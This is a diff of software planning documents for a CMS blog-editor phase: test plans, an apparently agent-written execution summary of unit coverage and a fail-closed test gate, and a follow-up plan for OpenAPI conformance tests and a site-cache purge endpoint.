- Serializer: block reuse after one edit, after a deletion and after an insertion; whitespace between blocks kept for reused runs.
|
||||
- Embed: parseEmbedUrl table (watch, youtu.be, shorts, embed, extra query params, 10 and 12 character ids, other hosts, javascript:), node round trip, insert flow; isPolicyUrl table (http, https, mailto, relative, #fragment accepted; javascript:, vbscript:, data:, tel: and tab- or newline-split schemes refused); upload flow timeout and mismatched id; labels pl and en with en fallback; disabled and invalid attributes.
|
||||
- Layer: expandEmbeds table (valid, invalid id, unknown provider, extra attribute, attribute order swapped, two placeholders, empty input); the sanitize-then-expand pipeline at the sink and the payload-then-sink pipeline (stored iframe stripped, placeholder expanded, expansion output never sanitized again); the mirror: every corpus entry safe, the four rules accepted, the negative cases stripped, existing htmlGate cases unchanged.
|
||||
- Gate: stages go, admin, editor, layer, docs run fail-closed (a go run with "no tests to run", a skip or a missing named test fails; a node run with "not ok" or "# fail" non-zero fails); the editor stage includes corpus.test.ts and the go stage the Journal policy cross-check; the layer stage fails when the layer's tests/fixtures/editor-corpus.json differs from the plugin's (cmp); --self-test proves the detectors and the corpus comparison fail on planted output; --all ends with "Phase 16.2 gate passed"; the postgres stage runs the Docker suites (including TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent) and is documented as Docker-host only.
|
||||
</behavior>
|
||||
<action>Write the JS tests in the behavior block (per D-03, D-04, D-05, D-10, D-13, D-14, D-17, D-18) in each repository's existing runner (admin vitest, plugin vitest, layer node:test with erasable TypeScript only). Write scripts/check-phase16.2.sh in the check-phase16.sh style (set -euo pipefail, unset FORCE_COLOR, ROOT from the script path, overridable JOURNAL and LAYER paths, required-test name lists per stage, the go and node detectors, --self-test, --all, stage names go, admin, editor, layer, docs, postgres; the docs stage runs TestDocsTree, check-admin-openapi.sh --check, check-admin-dist.sh and the plugin check-dist.sh). Update 16.2-VALIDATION.md: fill the per-task map with the real task IDs (16.2-01-T2 and so on, including the strip, notices, corpus and category rows added in the 2026-10-10 revision), commands and statuses, tick Wave 0, set wave_0_complete and nyquist_compliant to true, and keep the Manual-Only rows (Docker-host suites; UAT editing and the UAT strip check, which plan 05 recorded). Commit tests per repository as test(...) commits, the script as "test(16.2): phase gate", and VALIDATION.md separately as docs(16.2), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin test && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && npm --prefix ../vue-journal-layer test 2>&1 | grep -E '^# fail 0$'</automated>
|
||||
<fails_when>Non-zero exit or no "# fail 0" line: an admin or editor vitest file fails, or a layer node test fails.</fails_when>
|
||||
<automated>bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all 2>&1 | tail -1 | grep -qx 'Phase 16.2 gate passed'</automated>
|
||||
<fails_when>Non-zero exit: a detector self-test does not fail on planted output, or the last line of the --all run is not exactly "Phase 16.2 gate passed" (a stage failed or a required test is missing).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "Phase 16.2 gate passed" scripts/check-phase16.2.sh` prints at least one line, and the --all run ends with that line.
|
||||
- `grep -n "nyquist_compliant: true" .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md` prints one line and the per-task map has no "TBD" task IDs.
|
||||
- The admin, editor and layer suites pass in full.
|
||||
</acceptance_criteria>
|
||||
<done>The JS code of the phase is fully tested, the phase gate passes here, and the validation map is complete with the Docker-host suites listed as manual.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
|
||||
| tests → network | no test reaches UAT, the npm registry or git origin |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-28 | Tampering | test isolation | low | mitigate | Pure tests use stubs, DryRun handles on a DSN that is never dialled, memblob and happy-dom; Postgres tests use testcontainers; no ssh or curl in any test |
|
||||
| T-16.2-29 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for "no tests to run", skips, missing named tests and node "# fail"; --self-test proves them; Docker suites are named as manual rows, not silently skipped |
|
||||
| T-16.2-30 | Tampering (security regression) | strip, policy and permission tests | medium | mitigate | The strip-and-report cases (35 payloads, report property, category strip), the editor-corpus cross-check against both policies and the corpus-copy comparison, upload sniffing, alias collision, upload permission and sanitize-then-expand order are explicit tests in the fail-closed gate, and the 16.1 policy test files are diff-checked against c60abc6, so a later change that weakens them fails the gate |
|
||||
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: every runner uses the lockfiles committed in plans 01, 02 and 04 |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: the four layer checks of the resave contract pass and the Postgres test compiles.
|
||||
- Task 2: the named cabana and Journal tests pass; the Postgres tests compile.
|
||||
- Task 3: all JS suites pass, the gate self-test and --all pass, VALIDATION.md is complete.
|
||||
- Before /msd-verify-work, on a Docker host: `bash scripts/check-phase16.2.sh postgres`.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Full unit coverage of the phase's code (lean rule 3), the folded todo's acceptance test tightened, Postgres tests ready for the Docker host, a passing fail-closed phase gate.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md` when done, with the test counts per repository, any fix(...) commits, and the Docker-host command list.
|
||||
</output>
|
||||
@@ -0,0 +1,277 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 06
|
||||
subsystem: testing
|
||||
tags: [unit-tests, vitest, node-test, testcontainers, phase-gate, cabana, pact, blog-editor, embeds, d-03]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: pact field type API (ListValue takes ctx), cabana registry, decode, skip, load, list, writes, routes, SPA PluginField/MLPluginField and fieldTypes loader
|
||||
- phase: 16.2-02
|
||||
provides: golem15-journal-blogeditor element, schema, serializer, embeds, editor corpus
|
||||
- phase: 16.2-03
|
||||
provides: Journal blogeditor/mlblogeditor types, SanitizeHTMLReport, StoreMedia, posts and category hooks
|
||||
- phase: 16.2-04
|
||||
provides: vue-journal-layer expandEmbeds and the four-rule sanitizer mirror
|
||||
- phase: 16.2-05
|
||||
provides: UAT release (v0.1.18) plus the untagged preview pane (quick 261010-iwu) and the admin View site link
|
||||
provides:
|
||||
- "Full unit coverage of the phase across summercms.go, sm-journal-plugin and vue-journal-layer (lean rule 3)"
|
||||
- "The imported-post resave contract (D-03) pinned at the element, PluginField, cabana, Journal Load and Postgres layers"
|
||||
- "Postgres tests for a Docker host: TestFieldTypeSavePostgres, TestCategoriesAdminBlogEditor, the three-stage TestPostsAdminResaveKeepsHTML"
|
||||
- "scripts/check-phase16.2.sh: fail-closed stages go, admin, editor, layer, docs, postgres with go/vitest-JSON/TAP detectors and a self-test"
|
||||
- "16.2-VALIDATION.md map filled with real task IDs, nyquist_compliant and wave_0_complete true"
|
||||
affects: [16.2 verify-work, v0.1.19 tag, sm-journal-plugin, vue-journal-layer]
|
||||
|
||||
actuals:
|
||||
tokens: 58692
|
||||
tasks: 3
|
||||
commits: 5
|
||||
plan_head_before: c07da3912b1cc4b5d112200f7af16c5ad3061d02
|
||||
plan_head_after: 7e113013a364f8e1668d0b5033e183204ec18d9f
|
||||
plugin_commits_repo: ../sm-journal-plugin
|
||||
plugin_head_before: 2c78211cb90e27cf8515b104613c3eac1a0aca5f
|
||||
plugin_head_after: 85963b19eff80530c301454095377cde1350621a
|
||||
plugin_commits: 4
|
||||
layer_commits_repo: ../vue-journal-layer
|
||||
layer_head_before: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
|
||||
layer_head_after: 782aa4da7d618b0d7e678421fc02dee29e5b9f54
|
||||
layer_commits: 1
|
||||
task2_start:
|
||||
summercms.go: 08a2002
|
||||
sm-journal-plugin: d5a5413
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "vitest JSON-reporter detector: a failed, skipped or todo test, a failed file, no passing test or a missing required file or test name fails the gate"
|
||||
- "Docker-only stages are explicit: --all runs postgres only when a daemon answers and otherwise prints NOT RUN; the stage itself fails without Docker"
|
||||
- "Edited-block markup compared by shape (element, sorted attributes, text), byte comparison kept for untouched blocks"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- modules/pact/field_type_test.go
|
||||
- modules/cabana/field_type_test.go
|
||||
- modules/cabana/field_type_postgres_test.go
|
||||
- admin/tests/app/fieldTypes.test.ts
|
||||
- scripts/check-phase16.2.sh
|
||||
- ../sm-journal-plugin/classes/blog_editor_test.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_test.go
|
||||
- ../sm-journal-plugin/categories_admin_editor_test.go
|
||||
- ../sm-journal-plugin/tests/blogeditor/element.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/schema.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/embed.test.ts
|
||||
modified:
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- admin/tests/form/FormField.test.ts
|
||||
- admin/tests/form/registry.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/shell/AppShell.test.ts
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
|
||||
- .planning/WINDOWS.md
|
||||
- ../sm-journal-plugin/classes/editor_policy_test.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
|
||||
key-decisions:
|
||||
- "The Postgres resave test adapts the plan's locales to the harness: en is the host locale and pl the translation, as plan 03 already recorded"
|
||||
- "check-phase16.2.sh --all runs the postgres stage only when a Docker daemon answers; without one it prints a loud NOT RUN block and still ends with 'Phase 16.2 gate passed' for the runnable stages. The postgres stage invoked directly fails without Docker, and PHASE162_REQUIRE_POSTGRES=1 makes --all fail too"
|
||||
- "Edited (re-serialized) blocks are compared by element, attribute set and text rather than bytes: attribute order and the DOM's style normalization change there by design (plan 02); untouched blocks keep the byte comparison"
|
||||
- "The happy-dom iframe page loading is disabled in the editor tests so no test reaches the network (T-16.2-28)"
|
||||
|
||||
patterns-established:
|
||||
- "A phase gate names its required tests per stage and fails on a missing one, a skip, a todo or zero tests, in Go, vitest and node:test alike"
|
||||
|
||||
requirements-completed: [D-02, D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Imported-post resave contract (D-03): untouched value unchanged at the element (Source tab, tab buttons, preview, reattach), PluginField never re-sets an echoed value, cabana writes and reports nothing for a served value, Journal Load serves HTML verbatim and markdown as content_html"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/element.test.ts"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/PluginField.test.ts#untouched value (D-03)"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_test.go#TestFieldTypeUntouched"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/blog_editor_test.go#TestBlogEditorLoad"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Framework coverage: pact FormFieldError, boot rules, compile, decode 422/500, localized capped notices, Load, ListValue, writes, field-types and upload routes"
|
||||
requirement: D-11
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "bash scripts/check-phase16.2.sh go (19 named framework tests)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Journal coverage: Decode strip-and-report over the 35 payloads, notices and plural forms, LooksLikeHTML, options, ListValue, Upload sniffing and safe names, StoreMedia, policy corpus cross-check, posts hooks"
|
||||
requirement: D-10
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "bash scripts/check-phase16.2.sh go (20 named Journal tests, 16.1 policy tests unchanged since c60abc6)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "JS coverage: admin fieldTypes, registry, formState, FormField, ListView, AppShell View site; editor schema, serializer, embed, preview; layer expandEmbeds order and mirror negatives; corpus copies identical"
|
||||
requirement: D-13
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "bash scripts/check-phase16.2.sh admin (1218 tests, 78 files)"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "bash scripts/check-phase16.2.sh editor (220 tests, 7 files)"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "bash scripts/check-phase16.2.sh layer (144 tests, corpus cmp)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Phase gate and validation map"
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all -> Phase 16.2 gate passed"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Postgres-backed suites: TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML (HTML, markdown, edited), TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor, TestJournalSVGEmbed and the rest of the testcontainers suites"
|
||||
requirement: D-18
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and fail rather than skip here. Run bash scripts/check-phase16.2.sh postgres on a Docker host before /msd-verify-work"
|
||||
|
||||
duration: 43min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 06: Unit Coverage, Postgres Tests and Phase Gate Summary
|
||||
|
||||
**Every Phase 16.2 behaviour is now pinned by a test that fails on regression: the untouched-resave contract at five layers, the framework's field type rules and routes, the Journal editor types, storage and policy cross-check, the editor element, schema, serializer and embeds, the layer's sanitize-then-expand order, and a fail-closed gate (`scripts/check-phase16.2.sh`) that passes here with the Docker-only suites reported as NOT RUN.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 43 min
|
||||
- **Started:** 2026-10-10T13:34:11Z
|
||||
- **Completed:** 2026-10-10T14:17Z
|
||||
- **Tasks:** 3 (tracer, Go coverage, JS coverage plus gate and validation map)
|
||||
- **Files:** 26 test, script and planning files across three repositories (14 created, 12 modified), plus one test config (`vite.config.ts`)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Tracer (Task 1, D-03, D-07):** element.test.ts (15 cases: Source tab, tab buttons, echo, preview, reattach, a real Source edit); PluginField echo-on-connect stub; `TestFieldTypeUntouched` (served values skip Decode, writes and notices; one changed locale only; canonical JSON; create never skips); `TestBlogEditorLoad`; `TestPostsAdminResaveKeepsHTML` rewritten in three stages (HTML post, markdown post with imported content_html, edited clean save), byte comparisons without TrimSpace and no meta.notices.
|
||||
- **Go (Task 2):** pact `TestFormFieldErrorMessage`, `TestFormFieldTypeContract`; cabana `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload`; Docker `TestFieldTypeSavePostgres`. Journal `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia`, extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport`, `TestPostsEditorHooks`, Docker `TestCategoriesAdminBlogEditor`.
|
||||
- **JS (Task 3):** admin `fieldTypes.test.ts` (new) plus registry, formState, FormField, ListView and AppShell (View site: href `origin + "/"`, `_blank`, `noopener noreferrer`, en/pl label and phrasebook keys); editor `schema`, `serializer`, `embed` tests (new) next to the existing smoke, corpus and preview tests; layer embeds (order at the sinks, exact-serialization only, stable global regex, fixed src) and htmlGate (four rules accept, Go negatives stripped, corpus free of danger).
|
||||
- **Gate:** `scripts/check-phase16.2.sh` with stages go, admin, editor, layer, docs, postgres, `--self-test` (go, TAP and vitest-JSON detectors plus the corpus `cmp` on planted output) and `--all`.
|
||||
- **Validation map:** every row has real task IDs, commands and statuses; Docker suites are manual rows; `nyquist_compliant: true`, `wave_0_complete: true`.
|
||||
|
||||
## Test counts per repository
|
||||
|
||||
| Repository | Suite | Before | After |
|
||||
|---|---|---|---|
|
||||
| summercms.go | Go: new top-level tests in pact and cabana | — | 13 (12 run here + `TestFieldTypeSavePostgres` for Docker) |
|
||||
| summercms.go | admin vitest | 1190 tests (plan 01), 77 files | 1218 tests, 78 files |
|
||||
| sm-journal-plugin | Go classes/controllers new top-level tests | — | 9 (+2 extended in place) |
|
||||
| sm-journal-plugin | Go root (Docker) | — | `TestCategoriesAdminBlogEditor` new, `TestPostsAdminResaveKeepsHTML` rewritten |
|
||||
| sm-journal-plugin | editor vitest | 55 tests, 3 files | 220 tests, 7 files |
|
||||
| vue-journal-layer | node --test | 136 | 144 |
|
||||
|
||||
## Task Commits
|
||||
|
||||
**summercms.go**
|
||||
1. Task 1: `08a2002` test(16.2-06): pin the untouched-value skip in cabana and PluginField
|
||||
2. Task 2: `3404a4b` test(16.2-06): full unit coverage of the plugin field type framework
|
||||
3. Task 3: `9f5e807` test(16.2-06): admin SPA coverage of plugin field types and View site; `3da2fd6` test(16.2): phase gate; `7e11301` docs(16.2): complete the validation map
|
||||
|
||||
**sm-journal-plugin**
|
||||
1. Task 1: `d5a5413` test(16.2-06): pin the imported-post resave contract
|
||||
2. Task 2: `da7a073` test(16.2-06): full unit coverage of the Journal Blog Editor field types
|
||||
3. Task 3: `a578dda` test(16.2-06): Blog Editor schema, serializer and embed coverage; `85963b1` test(16.2-06): keep happy-dom iframe pages offline in the editor tests
|
||||
|
||||
**vue-journal-layer**
|
||||
3. Task 3: `782aa4d` test: pin embed expansion order and the editor policy mirror
|
||||
|
||||
No fix(...) commit: no test exposed a production defect. Nothing was pushed or tagged.
|
||||
|
||||
## Verification
|
||||
|
||||
- Task 1 verify: element vitest 15/15, PluginField 17/17, `--- PASS: TestFieldTypeUntouched`, `--- PASS: TestBlogEditorLoad`, `go -C ../sm-journal-plugin vet ./...` clean.
|
||||
- Task 2 verify: 13 of 13 named cabana tests pass, 10 of 10 named Journal classes tests pass, `TestPostsEditorHooks` passes, vet clean in both repositories; `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0; Task 2's diffs (`08a2002..3404a4b`, `d5a5413..da7a073`) hold only `*_test.go` files.
|
||||
- Task 3 verify: admin 1218/1218, editor 220/220, layer `# fail 0` (144 pass); `check-phase16.2.sh --self-test` passes; `--all` ends with `Phase 16.2 gate passed` (go, admin, editor, layer, docs PASS; postgres NOT RUN).
|
||||
- Typecheck: `vue-tsc --noEmit` (admin) and `tsc --noEmit` (plugin) clean; `check-dist.sh` and `check-admin-dist.sh` report current bundles.
|
||||
- Full `go test ./...`: the only failures in summercms.go (beachcomber, bouncer, cabana, conga, lagoon, lagoon/attach, lighthouse, postcard, docs/examples/blog) and sm-journal-plugin (root, models, updates) are the testcontainers suites failing on `docker.sock: permission denied`; no other failing test line.
|
||||
|
||||
## Docker-host command list (not run here)
|
||||
|
||||
```
|
||||
bash scripts/check-phase16.2.sh postgres
|
||||
# which runs, fail-closed:
|
||||
go test -json -count=1 -timeout 15m ./modules/cabana # requires TestFieldTypeSavePostgres, TestListRelationSearchPostgres
|
||||
go -C ../sm-journal-plugin test -json -count=1 -timeout 20m ./... # requires TestPostsFormCompiles, TestPostsAdminCreateSmoke,
|
||||
# TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent,
|
||||
# TestCategoriesAdminBlogEditor, TestJournalSVGEmbed
|
||||
```
|
||||
|
||||
These cover WINDOWS entries 11, 12, 14, 15, 16, 20 and 21.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 2 - Test isolation] happy-dom loaded remote iframe pages in the editor tests**
|
||||
- **Found during:** Task 1 (baseline run of the plugin vitest suite)
|
||||
- **Issue:** The quick-task preview tests put payloads with `https://example.test/` iframes into the preview frame's srcdoc; happy-dom tried to fetch them (12 `getaddrinfo ENOTFOUND example.test` per run). The threat model (T-16.2-28) says no test reaches the network.
|
||||
- **Fix:** `test.environmentOptions.happyDOM.settings.disableIframePageLoading: true` in the plugin's `vite.config.ts` (test block only; the build output is unchanged, `check-dist.sh` passes). The admin suite was checked and makes no such request.
|
||||
- **Files modified:** ../sm-journal-plugin/vite.config.ts
|
||||
- **Commit:** 85963b1
|
||||
|
||||
**2. [Plan text] Locales of the Postgres resave test**
|
||||
- **Issue:** The plan says "pl and en ... no en translation row ... en content_html translation" with pl as host; the harness (`bootJournal`) makes en the default locale and pl the translation (as plan 03 recorded).
|
||||
- **Fix:** host assertions on en; the untouched empty value and the translation assertions on pl. The untouched-empty check compares pl `content`/`content_html` presence and the translation row count before and after the PUT.
|
||||
- **Commit:** d5a5413
|
||||
|
||||
**3. [Plan text] Edited-block markup compared by shape**
|
||||
- **Issue:** schema tests that serialize a whole document from the model saw attribute order and style normalization differ from the source (`<a class="more" data-id="7" href="/a">`, `color: red;`). This is plan 02's documented behaviour for edited blocks, not a defect.
|
||||
- **Fix:** those cases compare element names, sorted attributes and text; untouched blocks keep byte comparisons everywhere.
|
||||
- **Commit:** a578dda
|
||||
|
||||
**4. Files outside the plan's list**
|
||||
- `admin/tests/shell/AppShell.test.ts` (the View site link test the orchestrator asked for), `../sm-journal-plugin/vite.config.ts` (deviation 1), `.planning/WINDOWS.md` (entries 20 and 21).
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 1 auto-fixed (test isolation) plus 2 plan-text adaptations and the listed extra files. **Impact:** no production code changed; no assertion that describes shipped behaviour was relaxed (the 16.1 policy test files are unchanged since c60abc6).
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the Postgres suites compile under go vet and fail rather than skip; see the Docker-host command list.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Run `bash scripts/check-phase16.2.sh postgres` on a Docker host, then /msd-verify-work 16.2 (WINDOWS 18 and 19 remain human UAT items from plan 05).
|
||||
- The orchestrator tags v0.1.19 separately.
|
||||
- STATE.md and ROADMAP.md updates are pending: another session holds uncommitted edits to them (see below).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist: modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, admin/tests/app/fieldTypes.test.ts, scripts/check-phase16.2.sh, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go, ../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts.
|
||||
- Commits exist: summercms.go 08a2002, 3404a4b, 9f5e807, 3da2fd6, 7e11301; sm-journal-plugin d5a5413, da7a073, a578dda, 85963b1; vue-journal-layer 782aa4d.
|
||||
@@ -0,0 +1,690 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 07
|
||||
type: execute
|
||||
wave: 5
|
||||
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04", "16.2-05", "16.2-06"]
|
||||
gap_closure: true
|
||||
gap_ids: [G-16.2-1, G-16.2-2]
|
||||
files_modified:
|
||||
- modules/cabana/openapi_conformance_test.go
|
||||
- scripts/check-phase16.2.sh
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
|
||||
- ../sm-journal-plugin/classes/site_cache.go
|
||||
- ../sm-journal-plugin/classes/site_cache_test.go
|
||||
- ../sm-journal-plugin/plugin.go
|
||||
- ../sm-journal-plugin/controllers/categories.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/controllers/admin_registry.go
|
||||
- ../sm-journal-plugin/site_cache_admin_test.go
|
||||
- ../sm-journal-plugin/plugin_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../vue-journal-layer/nuxt.config.ts
|
||||
- ../vue-journal-layer/app/utils/siteCache.ts
|
||||
- ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts
|
||||
- ../vue-journal-layer/server/plugins/journal-revalidate.ts
|
||||
- ../vue-journal-layer/testing/fixture-api.mjs
|
||||
- ../vue-journal-layer/testing/purge-check.mjs
|
||||
- ../vue-journal-layer/.playground/nuxt.config.ts
|
||||
- ../vue-journal-layer/tests/siteCache.test.ts
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
autonomous: false
|
||||
requirements: [D-03, D-13, D-18, D-19]
|
||||
user_setup:
|
||||
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
|
||||
why: "The executor holds no UAT basic-auth or admin credentials. A human re-saves posts 1 and 64 untouched (UAT Test 3, D-03) and edits one word of category 2 (UAT Test 2, D-19), then checks the public category page in a browser."
|
||||
dashboard_config:
|
||||
- task: "Log in to the admin through the UAT basic-auth realm with an admin account that may edit posts and categories"
|
||||
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
|
||||
estimate:
|
||||
tokens: 220000
|
||||
raw_tokens: 220000
|
||||
tasks: 6
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "G-16.2-1: on this Docker host `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all` prints `PASS postgres` and `PASS cache` and ends with `Phase 16.2 gate passed`; the postgres stage requires TestPhase10OpenAPIConformance, TestJournalSVGEmbed and every Journal admin harness suite named in UAT Test 1 (TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor) by name, and they pass."
|
||||
- "G-16.2-1 (D-13, D-18): TestPhase10OpenAPIConformance calls GET /field-types (200, decoded into cabana.FieldTypesResponse with unknown fields disallowed, admin.json ref cabana.FieldTypesResponse, the fixture plugin's field type listed with a served script) and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (201, decoded into cabana.Envelope[cabana.FieldUploadResponse], ref cabana.Envelope-cabana_FieldUploadResponse, multipart part `file`)."
|
||||
- "G-16.2-1 recurrence guard: the Docker-free TestPhase10ConformanceInventory fails, naming every missing key at once, when an inventoried admin route has no conformance case; it passes with -short and no database, and the gate's go stage requires it by name; 16.2-PATTERNS.md names modules/cabana/openapi_conformance_test.go next to phase09Routes and admin_openapi.go."
|
||||
- "G-16.2-2 (D-19): after the transaction of an admin create, update or delete of a Journal post or category commits, the Journal plugin sends exactly one POST to golem15.journal.site_cache.purge_url with `Authorization: Bearer <purge_token>` and a JSON body naming the kind and slug; a save that fails sends none; a failing, refused or slow purge (2 s timeout) is logged without the token and never changes the save response."
|
||||
- "G-16.2-2: the vue-journal-layer route POST /api/__journal__/cache/purge removes every Nitro route-cache entry (pages, _payload.json and feeds) and answers 200 {purged}; it answers 404 when no token of at least 32 characters is configured or the request carries a proxy header, 401 for a missing or wrong bearer token, and it is never route-cached itself, so every call runs."
|
||||
- "G-16.2-2: on a built site with swr route rules, a page cached before a content change shows the change on the first request after a purge, and route-cached pages and their 304 revalidations tell browsers max-age=0 while shared caches keep s-maxage; testing/purge-check.mjs proves this on the layer playground and on the host app build."
|
||||
